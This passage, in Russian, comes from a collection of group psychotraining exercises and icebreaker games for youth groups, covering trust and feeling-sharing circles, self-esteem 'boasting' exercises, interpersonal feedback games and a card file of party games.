2. "Рисунок". Hарисовать портрет человека, к которому испытываешь агрессию. Потом подписать его корявыми буквами, порвать и выбросить.

3. "Фигура". Сидя в кругу, составляется фигура из всего акрессивного, плохого, что есть в группе. "Hа общее дело" идут клыки, зубы, когти и т.д. по кругу. (Или качества-для более старших). Затем одновременным нажатием "кнопок" на ручках стульев фигура отправляется в космос.


 

Вначале потренируйтесь открываться в своих чувствах, описывать их. Делиться чувствами - значит доверять. Доверять - рискованно: могут ударить в ответ, не понять вас, воспользоваться полученной информацией во вред вам. И всё же рискуйте. Только так вы сможете получить ответное доверие, любовь. Делитесь также событиями своей жизни, проблемами ("Микрофончик"). Условие глубокого доверительного общения - грамотное общение и слушание. Параллельно работе с чувствами и доверием освойте технику общения: она вкратце изложена в правилах. Это обеспечит безопасность отношений во время делёжки чувствами и проблемами. Научиться лучше "читать человека" помогут упражнения-гадания ("Враги", "Я среди людей"). Каждому хочется знать, какое впечатление он оказывает на окружающих ("Какой я в межличностных отношениях?"). Многие излишне критикуют себя, не видят своих достоинств, а видят лишь недостатки. Для них упражнение "Хвастовство", "Мои сильные стороны".

 

Микрофончик.

Цель: открыться, довериться.

Сидя в кругу.

Вводная:

Эта ручка не простая. Это - микрофончик. Он пойдёт по кругу. К кому попадёт, тот говорит о себе. Желательно коснуться самой важной проблемы.

 

Можно начать со слов «Моя основная проблема в том, что...».

В меру доверия, в меру открытости на настоящий момент. Передавайте любому, кто интересен или малопонятен.

Круг чувств.

 

 

Цель: открыть свои чувства. Круг.

По кругу слева направо называете имя, говорите о тех чувствах, эмоциях, которые у вас внутри есть «здесь и сейчас». Не описывайте события, факты. Включайте воображение. Передайте чувства через ощущения:

зрительные - цвет , с переливами, в движении, образ реальный (отвращение как жаба, радость как солнышко), фантастический, природа...

звуковые - мелодично, резко, ритмично...

тактильные - колючее, острое, мягкое, горячее...

запахи - роза, духи, мята, ёлка...

 

 

Знакомство.

 

 

Цель: познакомиться с новыми людьми или же пристальней взглянуть на старых знакомых.

 

Круг. Бумага и ручка у каждого.

 

Ведущий читает вопросы (могут быть поверхностными или же глубокими - их придумывает ведущий). Отвечайте (письменно) откровенно и будьте готовы к тому, что ваши ответы узнают другие.

 

1. Кто ваш любимый поэт?

2. Какой ваш любимый цвет?

3. Какое качество вы больше всего цените в людях?

4. Какое время года вы любите больше?

5. Если бы у вас была возможность провести неделю в любой стране мира, какую страну вы бы выбрали?

 

Собираются листы. Ведущий по очереди читает ответы каждого. Выслушав их, постарайтесь понять, кому они принадлежат. Каждый может высказать одно предположение. Если автор будет назван, он раскрывает себя, если нет — остается анонимным.

 

 

 

Хвастовство.

 

 

Круг.

Задача:

Научиться думать о себе в положительном ключе, меньше критиковать себя за недостатки, повысить свою самооценку.

 

1) Читаю своё хвастовство (чем "наглее", тем лучше) о себе...

 

2) Вводная:

Запреты хвастаться.

– А когда у вас что-то хорошо получилось и вы радостно подбегаете к маме, другу или учителю, а в ответ слышите: “Хвастаться нехорошо!”, как вы себя чувствуете? Много ли радости от сшитого самостоятельно платья, если об этом никто не знает? Учитель приходит в класс и делится с вами: “Я стала победителем в конкурсе “Учитель года”, а вы ей в ответ: “Нехорошо, Лидия Александровна, хвастаться неприлично!”. Предубеждения: “Хвастаться некрасиво”, “Это нескромно”…

Но хвастовство хвастовству рознь!

1) Чёрное хвастовство.

В ущерб другому. Я – лучше, ты – хуже. Часто не своими заслугами, а заслугами близких (А у меня БМВ есть, а у тебя – нет).

2) Белое хвастовство.

Без сравнения с кем-то, без унижения. С чувством удовольствия не оттого, что я лучше, а оттого что я – такой. Гордость за себя. (А у меня в квартире газ... а у меня в кармане гвоздь...). В соревнованиях честных, учёбе, игре...

 

С грязной водой (плохим хвастовством) – ребёнка (хорошее хвастовство) выплёскиваем. Привыкаем себя недооценивать, не любить...

 

Варианты:

-по кругу...

-соревнование «Кто хвастливей?» в парах...

-стенка Ж. на стенку М. (садятся в линию напротив и по очереди хвастаются).

 

Техника (для раскачки, чтоб во вкус войти):

Со слов начинать (быстро-быстро) «А у меня есть... то-то. А я ..... такая-то». Пусть «поскользят» от белого к чёрному и наоборот. Можно привирать, выпендриваться, больше куражу. Важно всё это делать осознанно!

 

Тем, кто затрудняется, помогает круг: “Вадик сам сделал радиоприемник!”, “Лариса победила на городском танцевальном конкурсе!”

 

3) Дележка:

– Как себя чувствуете?

– Хорошо!

Тут же у ребят появляется идея: “А давайте проведем выставку собственных достижений в классе — вон сколько у нас умельцев!”

 

4) Для закрепления – упражнение – «Брачное объявление».

 

 

Мои сильные стороны.

 

1. Задание:

Каждый расскажет о своих сильных сторонах — о том, что

- он любит, ценит, принимает в себе,

- даёт чувство внутренней уверенности и доверия к себе в разных ситуациях.

 

Не обязательно только о положительных чертах характера важно отметить то, что является, может являться точкой опоры (гнев, страх, мнительность...) в различные моменты жизни. Напр., я боюсь математики – и это хорошо, т.к. заставляет меня сосредоточиться и делать дом. зад. Не умалять своих достоинств, говорить прямо, безо всяких «но», «если» и т, д. избегать любых высказываний о своих недостатках. ошибках, слабостях. себя хвалить, делать себе комплименты, погордиться (даже если сомневаешься).

 

2. Первый желающий выходит и 2—4 минуты говорит.

- если закончит раньше, оставшееся время все равно принадлежит ему, другие только слушатели:

- остальные только слушают, не могут высказываться, уточнять детали, просить разъяснения или доказательств.

 

 

Враги.

 

Задача:

Научиться через внешность видеть внутреннее, душу и характер человека, его отношения с другими.

 

Круг.

Один доброволец - в центре круга.

 

1) Вводная:

Задание:

Сейчас погадаем. Группа - пытается представить врагов этого человека, людей, которые были, являются или могли бы быть врагами.

Их

-возраст...

-социальное положение...

-психологические характеристики...

-в «каких случаях н по какому поводу они стали бы врагами для сидящего в"центре...

 

2) Находящийся в центре круга - анализирует высказывания, предположения группы, если у него есть желание, то реагирует, подтверждая или отклоняя предположения других участников.

 

3) Затем в центр садится другой человек: по желанию или по жребию.

 

 

 

Я среди людей.

 

 

1. Выбираем водящего.

 

2. Он встает перед своей группой, ведущий предлагает присмотреться к нему и формулирует главные вопросы о нем в межличностных отношениях:

 

Главные впечатления:

первые и попозже. Манера, стиль общения — при знакомстве, светской болтовне, при споре, в доверительной беседе и пр. Играет — кого? Добивается — чего? Избегает — чего? Самые привлекательные черты? Самые непривлекательные?

 

Задача группы — составить мнение о человеке по этим вопросам (каждый говорит несколько слов на каждый вопрос о водящем, все это записывается).

Задача водящего — постараться догадаться, какое впечатление о нем у группы.

 

3. После этого ведущий раздает листки с этими вопросами — В КАЖДУЮ ГРУППУ И КАЖДОМУ ВОДЯЩЕМУ.

 

Водящий выходит за дверь.

 

Группа определяется, отвечает на вопросы, записывает.

 

4. Водящего зовут, он с помощью шпаргалки с вопросами пытается сформулировать, что будет говорить о нем группа.

 

… Если он отгадывает плохо, группа его тормозит и заставляет думать еще, пока он не отгадает хоть что-то. Однако затягивать этот момент не надо, лучше его отгадывание ограничивать 3 минутами, потому что через эту игру хотят пройти все.

 

5. Водящему зачитывают то, что написала о нём группа — и листок дарят на память.

Вопросы ему:

 

Можешь выразить свои чувства по поводу того, что группа написала о тебе.

 

Потом следующий Водящий — и т.д.

 

Какой я в межличностных отношениях?

(вариант простой)

 

Качества, важные в межличностных отношениях.

 

 

Раздаются листочки и зачитываются.

На листочке :

 

Эмпатия – сочувствие Другому: что переживает Другой, то переживаю и я. Он радуется – и я радуюсь, он грустит – и я грущу.

Принятие Другого — разрешение Другому быть самим собой. Положительное отношение к его недостаткам и ошибкам. Доброжелательность, терпимость, уважение, любовь к Другому.

Принятие себя — разрешение Себе быть таким, какой есть. Положительное отношение к своим недостаткам и ошибкам. Доброжелательность, терпимость, уважение и любовь к Себе.

Открытость — готовность открыть людям свои мысли, чувства и искренне говорить о себе и своей жизни. Основана на доверии к людям .

Активность и ответственность — стремление "идти вперед", развивать своё тело и душу, делать много дел. Готовность отвечать за всё, что происходит вокруг и что зависит от тебя.

Конструктивность — стремление созидать, а не разрушать, видеть положительное, а не отрицательное в том, что делают другие. При столкновении с проблемами — не переживания, а действия, во взаимоотношениях — строительство нужных отношений.

Дипломатичность — умение обходить "острые углы" и находить разумные компромиссы. Исключение конфликтогенов из общения.

Артистизм — способность перевоплощаться и играть роли, управляя своим телом и своей душой.

Мудрость — умение смотреть на все происходящее как бы из космоса: не переживать из-за мелочей, любые (в том числе отрицательные) события воспринимать как уроки и тренировку характера. Умение наслаждаться сегодняшним днем.

 

Кто будет в центре внимания. Кто хотел бы, чтобы ему сказали, какими качествами он обладает, а какими нет?

 

Обсуждение качеств добровольца.

 

 

Какой я в межличностных отношениях?

(вариант посложней)

 

Вводная:

Я среди людей - какой? какая? Что они думают обо мне? Как они меня воспринимают? Что их радует во мне? Что огорчает, задевает? Естественно, тот, кто не хочет быть слепым, кто хочет быть адекватным и успешным, должен все это про себя хорошо знать. И тогда он может в себе что-то изменить - если сочтет нужным. А сейчас для работы вам понадобятся: один маленький листок, один большой листок и две булавки - все это возьмете на этом столике. Кроме этого, у каждого должна быть ручка. У кого нет, попросите у друзей. Через две минуты чтобы все сидели и были готовы.

 

Мои плюсы и минусы.

Теперь вы берете маленькие бумажки, кладете их горизонтально, делите вертикальной чертой пополам, слева вверху рисуете "плюс", слева сверху - "минус". Ваше первое задание: там, где плюс, выпишите свои сильные черты в межличностных отношениях, то, что радует вас и окружающих при контактах с вами, что помогает вам жить среди людей. Слева, где минус, вы пишите свои слабые, свои отрицательные черты, ваши особенности, которые мешают вам и людям рядом с вами. Время на эту работу - 5 минут! Пожалуйста. ...

9 Качеств, важных в межличностных отношениях.

Рассказываю-поясняю-комментирую листочек с 9 качествами.

 

На листочке:

Эмпатия – сочувствие Другому: что переживает Другой, то переживаю и я. Он радуется – и я радуюсь, он грустит – и я грущу.

Принятие Другого — разрешение Другому быть самим собой. Положительное отношение к его недостаткам и ошибкам. Доброжелательность, терпимость, уважение, любовь к Другому.

Принятие себя — разрешение Себе быть таким, какой есть. Положительное отношение к своим недостаткам и ошибкам. Доброжелательность, терпимость, уважение и любовь к Себе.

Открытость — готовность открыть людям свои мысли, чувства и искренне говорить о себе и своей жизни. Основана на доверии к людям .

Активность и ответственность — стремление "идти вперед", развивать своё тело и душу, делать много дел. Готовность отвечать за всё, что происходит вокруг и что зависит от тебя.

Конструктивность — стремление созидать, а не разрушать, видеть положительное, а не отрицательное в том, что делают другие. При столкновении с проблемами — не переживания, а действия, во взаимоотношениях — строительство нужных отношений.

Дипломатичность — умение обходить "острые углы" и находить разумные компромиссы. Исключение конфликтогенов из общения.

Артистизм — способность перевоплощаться и играть роли, управляя своим телом и своей душой.

Мудрость — умение смотреть на все происходящее как бы из космоса: не переживать из-за мелочей, любые (в том числе отрицательные) события воспринимать как уроки и тренировку характера. Умение наслаждаться сегодняшним днем.

 

Раздаю.

Обсуждение качеств.

 

Листки за спиной.

А теперь возьмите листки, прикрепите себе за спиной, и те, с кем вы будете здесь встречаться, будут писать вам свои впечатления о вас: какой вы во взаимоотношениях с другими.

 

Работа будет происходить следующим образом. Вы будете в свободном режиме встречаться кто с кем хочет. Вы можете почитать, что человек написал сам о себе, о своих сильных и слабых сторонах в межличностных отношениях, вы можете - и я рекомендую вам это- не торопясь, внимательно посмотреть еще раз на человека, чтобы лучше и точнее сформулировать свои впечатления о нем. И когда у вас в душе появятся ощущения и слова - вы киваете головой и пишете это человеку на его листке за спиной. Постарайтесь обойтись без лишних слов, пусть будут только технически необходимые.

 

15-20 минут под музыку.

 

По окончании - все снимают листки. Садимся в круг.

Прочитайте, что написали зачитайте . По очереди (если есть время) скажите общее впечатление. Если хотите задайте вопросы по тому, что им написали.


КАРТОТЕКА ИГР

"АЛФАВИТ"

Участникам игры, сидящим в кругу, раздаются карточки с буквами алфавита (33 карточки, то есть 33 буквы), возможно, что у кого-то окажется несколько карточек сразу. В центре круга ставится стол, и по команде участникам предлагается сложить все карточки в Алфавит так, чтобы нижней карточке соответст­вовала первая буква Алфавита, а верхней — последняя.

"АНТИ-ВРЕМЯ"

Задача — рассказать о каком-нибудь событии задом наперед, т. е. от конца к началу. Например, семей­ный конфликт, урок в школе, объяснение в любви, стихотворение или даже анекдот. Затем обсудить осо­бенности восприятия изложенной так информации.

"АССОЦИАЦИИ"

Все участники игры садятся в ряд или в крут. Ведущий называет какое-либо слово, сидящий рядом с ведущим быстро говорит первое слово, которое пришло ему на ум после того, как он услышал слово веду­щего. Второй произносит то слово, которое явилось ассоциацией на слово соседа, третий — на слово вто­рого соседа и т.д. В итоге громко произносится последнее слово, которое можно сравнить с первым, изна­чальным словом. Это могут быть совершенно разные слова. Например, цепочка ассоциаций может быть следующей; автобус — час-пик — толкучка — джинсы — тысяча рублей — деревянный — Буратино — Папа Карло -... Начинать игру нужно по очереди, по кругу.

"ГОЛОВА-ХВОСТ"

Участники становятся в затылок друг другу и обхватывают за пояс впереди стоящих. Первый в цепи изображает Голову, а последний — Хвост. В игре Голова стремится поймать Хвост. Все участники, стоя­щие между Головой и Хвостом, делятся пополам. Та половина, которая ближе к Голове, помогает Голове, а та, что ближе к Хвосту, помогает Хвосту. Игра продолжается до тех пор, пока Голова не поймает Хвост. Затем можно сменить Голову и Хвост.

"ГОРНАЯ ТРОПИНКА"

Тропинка чертится мелом на полу. Доброволец должен идти по узкой горной тропинке, петляющей по краю скалистого обрыва, оступишься — смерть. Все остальные строят из себя самостоятельные преграды на его пути (камни, деревья), которые доброволец должен преодолеть. В конце игры анализируется тот путь, который создавали друг другу играющие, насколько они мешали прохождению пути v почему.

"ДОЖДЬ-ГРОМ"

Играющие составляют стулья в круг спинками внутрь так, чтобы стульев было меньше, чем участни­ков, на один. Играющие ходят по кругу с внешней стороны, один из них берет на себя роль ведущего и начинает рассказывать сказка. В этой сказке обязательно должно быть слово "гром". Как только ведущий произносит это слово, играющие должны сесть на стулья. Тот, кто остался без места или сел на стул, когда слово не было сказано, выходит из игры и становится ведущим. Когда из круга выходит человек, то убира­ется очередной стул. Стульев всегда должно быть на один меньше, чем игроков. Выигрывает тот, кто за­нимает последний стул. Сказка может быть о чем угодно, в ней мог быть использованы "ложные тревоги", например, "и так загремел ... град" и т.д.

"ДАВАЙ ПОЗНАКОМИМСЯ"

Участники образуют два круга. Стоящие во внутреннем круге поворачиваются лицом к внешнему и оба круга начинают двигаться в противоположные стороны. По знаку ведущего участники игры останав­ливаются друг перед другом и знакомятся, называя свое имя. После этого движение начинается снова, только теперь проходя мимо знакомого, ему нужно просто помахать рукой. По знаку ведущего все снова останавливаются и продолжают знакомство и т.д.

"ДВА УЗНИКА"

Все делятся на пары. Каждая пара -— обвиняемые. Ведущий — судья. Обвиняемые сидят спиной друг к другу и самостоятельно обдумывают свои показания. Возможны 4 варианта ответа: I) виноваты оба;

 


2) виноват я, а не он,                                                                                                           

3) виноват он, а не я,                                                                                                    

4) оба невиновны.

Затем судье на ухо каждый рассказывает свой вариант. Если показания совпадают, то им дается мень­ший срок, чем, если показания будут различными. Варианты вердиктов:

1) большой срок, но меньше, чем для одного человека;                         

2, 3) отпускают другого, а тебя сажают на большой срок, и наоборот;                               

4) маленький срок каждому.                                                                       

Затем можно меняться парами. Интересно, насколько партнеры чувствуют друг друга, насколько могут предугадать ответ другого, как обстоят дела с предательством и чувством благородства.

"ЗАПРЕЩЕННОЕ ДВИЖЕНИЕ"

Эта игра на внимание. Ведущий объясняет, что все участники игры должны повторять движения, ко­торые он будет им показывать, кроме одного — "запрещенного", например, обхвата руками головы. Ве­дущий совершает различные движения руками, ногами, головой, корпусом... Улучив подходящий момент, показывает "запрещенное" движение. Тот, кто его повторит или даже только попытается повторить, счита­ется нарушившим правила игры и должен выйти из игры. Сначала ведущий проводит игру в медленном темпе, давая возможность ребятам усвоить главное правило — не повторять "запрещенное" движение. За­тем темп игры ускоряется. В результате остается один или несколько победителей.

"ЗЕРКАЛО"

Все разбиваются на пары. Один изображает что-то, а другой — "зеркало" —- повторяет движения пер­вого как можно точнее. В идеале получается синхронность движений. Для этого лучше выполнять плавные движения, как в танце, а не прерывистые. В конце "зеркало" и тот, кто в нем отражался, могут поделиться впечатлениями и трудностями.

"ЗНАКОМСТВО ПО АНАЛОГИЯМ"

Все сидят в кругу. Каждый по очереди по аналогии с собой, со своим именем называет любой предмет (например, Настя — окно, Аня — облако, Ира — ирис и т.д.). Затем в центр круга встает доброволец. Каж­дый играющий в кругу называет "свой" предмет, а доброволец по аналогии вспоминает имя этого человека (например, окно — Настя и т.д.).

"ЗООПАРК-1"

Всем играющим раздаются роли зверей. Например: "птица" — помахать руками, "жираф" — поднять руку вверх, "обезьяна" — скорчить гримасу и т.д. Обозначение любого животного играющие могут приду­мать сами. Когда все роли розданы, играющие встают, в круг так, чтобы всем было хорошо друг друга вид­но. Первый "зверь" называет свое обозначение и обозначение того зверя, к которому хочет обратиться. "Зверь", чей знак был показан, изображает себя (этим он дает понять, что сигнал принят) и следующее "жи­вотное", которому хочет передать эстафету. И так далее. Каждый названный игрок, вступая в игру, должен показать свое обозначение (в знак того, что сигнал принят), а потом обозначение одного из играющих. Со временем темп передачи увеличивается и тот, кто ошибается, должен выходить из игры. Выигрывает тот, кто дольше всех избегал ошибок.

"ЗООПАРК-2"

Участники игры сидят в кругу. Каждый называет себя любым животным (названия животных не должны повторяться), главное —- запомнить какие еще животные есть в "зоопарке" (каких животных вы­брали остальные участники игры). Один доброволец (ведущий) выходит в центр круга. Один стул остается пустым. Тот участник, который сидит по левую сторону от пустого стула, ударяет правой рукой по стулу и называет любого животного. Тот участник, который выбрал себе этого животного, быстро садится на этот стул. Освобождается другой стул. Процедура повторяется. Задача ведущего — занять освобождающийся стул, но если по стулу уже ударили и произнесли название животного, то ведущий не имеет права садиться на этот стул.

"ИСПОРЧЕННЫЙ ТЕЛЕФОН"

Участники игры сидят в кругу, близко друг к другу. Ведущий придумывает слово, тихо и быстро гово­рит его на ухо соседу, тот, в свою очередь передает то, что услышал, следующему участнику и так до по­следнего. Последний громко произносит то, что он услышал. Почти всегда с задуманным словом проис­ходят интересные метаморфозы. Например, "глубина" может превратиться в "дым" и т.д. Но нельзя наме­ренно искажать услышанное и переспрашивать. Слова придумывают все по кругу.

 

"ИСТОРИЯ"

Двое выходят за дверь. Всем остальным дается инструкция: "Когда они войдут, мы им скажем, что придумали про них интересную историю (приключенческую, фантастическую, романтическую, страшную и др.). Они должны отгадать ее, задавая нам вопросы. На самом деле на вопросы, которые заканчиваются на гласную, мы будем отвечать "да", а на вопросы, заканчивающиеся на согласную, мы будем отвечать "нет". Историю мы придумывать не будем. Ее придумают сами добровольцы, задавая вопросы. Здесь проявится их фантазия и воображение". Игра проводится по инструкции.

"КАРЛИКИ И ВЕЛИКАНЫ"

Участники игры стоят в кругу. Ведущий произносит: "карлики" или "великаны". На слово "карли­ки" все приседают, "великаны" — все встают. Те, кто ошибся, встают внутри круга или выходят из игры.

"КАРТИНА"

Несколько человек выходят за дверь. Обязательно остается тот, кто будет рассматривать картину и тот, кто будет наблюдать за "игрой". Тем, кто остался показывается любая картина. Их задача максимально запомнить детали картины, чтобы потом ее описать одному из вышедших людей. Затем картину прячут. Тот, кто рассматривал картину, описывает ее первому вошедшему человеку, затем тот — второму и т. д. Последний вошедший описывает услышанное о картине всем. Затем у наблюдателя спрашивают, что раз­личного он заметил в описании картины разными людьми, как он думает, почему это произошло.

В конце игры всем предъявляется картина. И все сравнивают свое описание с реальной картиной.

"КОЛЕНОЧКИ"

Участники игры сидят вплотную друг к другу. Левая рука каждого лежит на правой коленке одного соседа, а правая — на левой коленке другого. Если круг не замкнут, то крайние кладут одну руку себе на колено. В процессе игры нужно быстро хлопать ладонью по колену, не нарушая последовательность в ру­ках. Если кто-то хлопнул не в свою очередь или просто поднял руку, то он "ошибившуюся" руку убирает. В итоге остаются один или несколько победителей. Для повышения интереса нужно в процессе игры держать высокий темп.

"КРЕСТ-ПАРАЛЛЕЛЬ"

Это игра-загадка. Ведущий говорит, что есть четыре положения: крест-параллель, параллель-крест. крест-крест, параллель-параллель. Первый участник называет своему соседу одно из положений, догадыва­ясь об их значении. Ведущий же будет говорить, верно или неверно было названо положение. Игра идет по кругу. Можно ее закончить, как только круг замкнется, можно играть и до разгадки. Разгадка:

крест обозначает скрещенные ноги у сидящего человека или нога на ногу, а параллель — рядом стоя­щие ноги. Соответственно, нужно назвать то положение, которое обозначало ноги говорящего и ноги того, кому говорят. Например, у меня ноги скрещены, у соседа — нога на ногу, я говорю ему: крест-крест.

"ЛАБИРИНТ"

Задача — почувствовать ответственность за другого человека. Лабиринт чертится на большом листе бумаги или мелом на столе и представляет из себя кривую полосу движения. Вдоль этой дороги ставятся непрочно стоящие предметы, которые при любом задевании легко могут упасть (например, склеенные ци­линдры из бумаги). Ведомый человек (А) закрывает глаза, берет в руку мел (или ручку) а другую руку про­тягивает своему партнеру (В). Руководящий движением человек должен с помощью руки А показывать ему постоянно направление движения по лабиринту. Их задача — как можно "точнее" пройти по прочерченной линии и желательно не уронить предметы, стоящие по дороге.

"ЛЮБОПЫТНЫЙ"

Участники игры садятся в круг. Один — "любопытный" — становится в середине. Он громко называет какую-нибудь букву и выжидает, пока участники игры приготовятся, забрасывая их короткими вопросами: кто? куда? когда? зачем? Участники игры должны быстро ответить словами, начинающимися с объявлен­ной буквы. Например, объявлена буква "К". Ответы могут быть следующие: "композитор", "в кино", "каж­дый день", "за креслом" и т.д. Ответивший на вопрос не сразу или словами, начинающимися с другой бук­вы, становится "любопытным", а прежний "любопытный" садится на его место.

 

 

"МОРГАЛКИ"

Участники игры делятся на пары и встают в круг, причем один из пары стоит за другим на расстоянии вытянутых рук и смотрит строго в затылок впереди стоящему. Необходимо нечетное количество игроков, чтобы один остался лишним, без пары. В ходе игры он подмигивает кому-то из ребят, стоящих в парах впе­реди, и тот должен быстро перебежать к водящему и встать у него за спиной. Стоящий в паре сзади должен отреагировать и не дать впереди стоящему убежать. Если тот все же убежал, оставшийся один становится ведущим и моргает кому-то из другой пары. Главное условие: задание должны смотреть в затылок первым. И нельзя подмигивать соседней паре. Игра должна быть динамичной, только смотрите, ведь можно и одеж­ду порвать!                                    

"МПС"

Один или два добровольца-водящих выходят из аудитории, ведущий тем временем договаривается с группой, что все будут отвечать на вопросы о МПС. Задача водящих отгадать аббревиатуру МПС (мой пра­вый сосед). Те, чья задача отгадать аббревиатуру, по очереди задают любые вопросы о МПС тем, кто знает расшифровку. Интересно задавать одни и те же вопросы разным людям, т. к. можно получить совершенно разные ответы (т. к. каждый говорит о своем правом соседе). Пример: — Он в брюках?

1)-Да;

2)-Да;

3)—Нет. В качестве подсказки можно намекнуть, что это человек.

 

 

"МУХА"

"Муха" ползает по квадрату, состоящему из 9 маленьких квадратиков. Только перед ведущим лежит чертеж квадрата и он следит, чтобы муха, двигаясь, не выходила за пределы квадрата. Все остальные "дви­гают" муху. При этом они по очереди называют ходы мухи (вверх-вниз, вправо-влево). Изображение квад­рата они представляют мысленно, т.е. не могут на него смотреть глазами. У кого муха выходит за пределы квадрата — тот выбывает из игры. Каждый новый ход муха начинает движение из центра квадрата (повто­рять ход обратный ходу предыдущего человека нельзя. Например, вперед — назад = запрещенный ход).

(Подробнее об этом упражнении см. Цзен Н.В., Пахомов Ю.В. "Психотренинг: игры и упражнения." М., 1988, стр. 47-48).                                            

"НЕУДОБНАЯ СИТУАЦИЯ"

Два добровольца выходят за дверь. Оставшиеся придумывают ситуацию, в которой вышедший че­ловек должен оказаться в неудобном положении (добровольцы вызываются по очереди). Он должен вы­звать осуждение у окружающих. Например, девушка стоит в большой очереди. Она лезет в сумочку за ко­шельком. Оттуда случайно падает предмет женского туалета... Всеобщее смятение, смущение, неудо­вольствие. И вот ничего не подозревающий доброволец входит. О подготовленной ситуации ему не сооб­щают, а сразу начинают забрасывать вопросами и даже нападают на него. Например, "тебе не стыдно?", "почему ты ничего не делаешь?", "эта твоя вещь упала?" и т.д. Задача добровольца — отгадать, что на са­мом деле была придумана ситуация с его участием, что на него нападают не всерьез, а также отгадать, что за ситуация была придумана.         

"НОС-ПОЛ-ПОТОЛОК"

Ведущий называет: "нос" или "пол" или "потолок". И сам показывает пальцем на пол, на потолок или на нос (иногда не на то, что говорит, чтобы запутать участников игры). Участники показывают то, что на­зывает ведущий. Те, кто ошиблись, получают штрафные очки, которые потом творчески отрабатываются.

"НЕ СОБЬЮСЬ"

Ведущий спрашивает у ребят: "Кто умеет считать до 30? Оказывается, умеют все. Тогда пусть кто-нибудь подойдет ко мне". Добровольцу предлагается такое задание: считать до 30, но вместо чисел, в кото­рые входят цифра 3 и которые делятся на 3, говорить "не собьюсь". Счет, следовательно, ведется так: один, два, не собьюсь, четыре, пять, не собьюсь и т.д. Редко кому удается таким путем, ни разу не сбиваясь, дос­читать до 30.

"ОБЪЕМНАЯ СОЦИОМЕТРИЯ"

Доброволец становится спиной ко всем. Остальные встают в 3 ряда соответственно их отношению к добровольцу: хорошо, нейтрально, плохо. Затем все перемешиваются и доброволец расставляет играющих в 3 ряда так, как по его мнению они могли бы встать. Затем сравнивается точка зрения добровольца на то, как к нему относятся другие с реальным отношением группы к нему.

"ОЧЕРЕДЬ И ПРОДАВЕЦ"

Разыгрываются 2 ситуации.

1)  Сумасшедшая очередь и нормальный продавец.

2)  Нормальная очередь и сумасшедший продавец. "Нормальные" в этой игре, как обычно бывает в жизни, кричат, хамят, лезут вперед и обвешивают покупателей. "Сумасшедшие" ведут себя крайне необыч­но — спокойно, вежливо, воспитанно, радушно.

В конце игры анализируется какую роль было приятнее играть и почему.

"ПАЛЬЧИКИ"

Ведущий говорит, что он будет показывать определенное количество пальцев на руках и вслед за этим действием должны будут быстро встать со своих мест именно столько участников, сколько пальцев показал ведущий. Нужно учесть, что быстрее всех встают потенциальные лидеры. А те, кто встает и видя, что вставших слишком много, садится, играют роль "совести" в группе.

ПЕРЕДАЧА ИНСТРУКЦИИ

Выбирается два эксперта и капитан команды, остальные выходят за дверь. Ведущий дает капитану следующую инструкцию: "Я сейчас скажу тебе инструкцию, по которой должен будет действовать послед­ний вошедший человек из группы. Ты должен будешь передать ее любому человеку, который войдет сле­дующим. Итак, группу надо расставить по вторым буквам их полных имен (фамилий). Если вторые буквы одинаковы, то по третьим и т. д. (например, Алина — Дмитрий — Анна). Задача экспертов — отмечать, как передается инструкция и какие допускаются ошибки. Возможные ошибки: а) расставляют имена, а не лю­дей, б) ошибки в самой расстановке; в) потеря информации из инструкции.

Последний человек должен выполнить инструкцию. Интересно, в какой последовательности люди в группе выбирают друг друга для пересказывания инструкции. Следует в конце игры сделать вывод об искажении информации (даже при передаче инструкции "слово в слово" кто-то понял, например, что имена расставляются по первым буквам).

"ПИШУЩАЯ МАШИНКА"

Между членами группы распределяются все буквы алфавита (например, по столбцам, по количеству членов группы). Каждый "отвечает" за все буквы своего столбца. Затем выбирается любое предложение (например, мышление является несколько сложным, процессом, что некоторые предпочитают делать умо­заключения). Все должны прохлопать это предложение, не произнося ни одной буквы вслух, Каждый хлопает за свои буквы (1 буква — 1 хлопок).

Получается предложение из хлопков. В конце каждого слова вся группа может вставать. Интересен особый ритм, звучание предложения.

"ПОМЕНЯЙТЕСЬ МЕСТАМИ ТЕ..."

Играющие (от 7-8 человек и более) стоят в кругу (или сидят), водящий — в центре круга. Он внима­тельно рассматривает участников и, заметив какой-либо признак, объединяющий большинство играю­щих, говорит: "Поменяйтесь местами те, у кого светлые волосы (кто в джинсах, кто любит зиму, кто учится в школе, кто с часами и т.д.). Все, кто попадают в категорию носителей названного признака, долж­ны быстро вскочить и поменяться местами, ведущий старается занять освободившееся место. Тот, кто ос­тался без места или на своем старом месте, становится ведущим. В качестве признаков, объединяющих тех, кто должен поменяться местами, может быть использовано, что угодно (цвета и виды одежды, длина и цвет волос, наличие или отсутствие украшений, часов, виды обуви, музыкальные, литературные и прочие при­страстия).                                                                   

"ПОСТРОИТЬСЯ ПО..."

В этой игре могут участвовать 2-3 команды по 5-8 человек (от количества человек в одной команде за­висит время, даваемое на подготовку). Командам предлагается за 10-15 сек. разобраться и построиться по порядку (алфавитному или числовому).

Варианты: отчества мам (собственные имена); № школы; № телефона (первые три цифры); люби­мый предмет; размер обуви; любимый писатель и т.д.

"ПУТАНИЦА С АССОЦИАЦИЯМИ"

Первый играющий вслух произносит слово, второй — ассоциацию на это слово (тоже вслух) и т. д. Круг ассоциаций может проходить 2-3 цикла в зависимости от количества играющих так, чтобы ассоциа­ции, произнесенные в начале игры, забылись. Потом начинается развертывание круга ассоциаций в обрат­ном порядке. Повторяется последняя ассоциация, далее по кругу вспоминается слово, на которое была эта ассоциация и т. д. пока не вспоминается самое первое слово, названное в начале игры.

 

"РАЗВЕДЧИК"

Один доброволец становится "разведчиком". Все остальные принимают разнообразные позы, приду­мывают разные фигуры. "Разведчик" запоминает, кто и как стоит. Затем он выходит за дверь. Все фигуры меняют свои позы или какую-либо деталь в них. "Разведчик" возвращается и пытается отгадать, что изме­нилось за время его отсутствия. Примечание. Если в группе много человек, то можно выбрать не одного, а 2-3 "разведчиков"

"РАЗМИНКА (ЗВЕРИ)"

Все встают в круг. Ведущий каждому на ухо говорит, какой он будет зверь (например, кошка, белый бычок). Все "звери" берутся крепко за руки (согнутые в локтях). Ведущий будет громко произносить на­звание какого-то зверя. Задача названного зверя — присесть, а всех остальных — не дать ему это сделать. Игра начинается. Шутка в том, что всего несколько зверей называет по-разному, а остальным дает одно и то же название (например, бурундук). Сначала называются одинаковые звери. Все играющие кон­центрируются на задаче удержать названного "зверя". Затем ведущий называет бурундука и все "бурунду­ки" резко приседают и... Это упражнение дает сильную эмоциональную разрядку. Вызывает положитель­ный заряд эмоций, смех.                                                                       

"РЕКЛАМА"

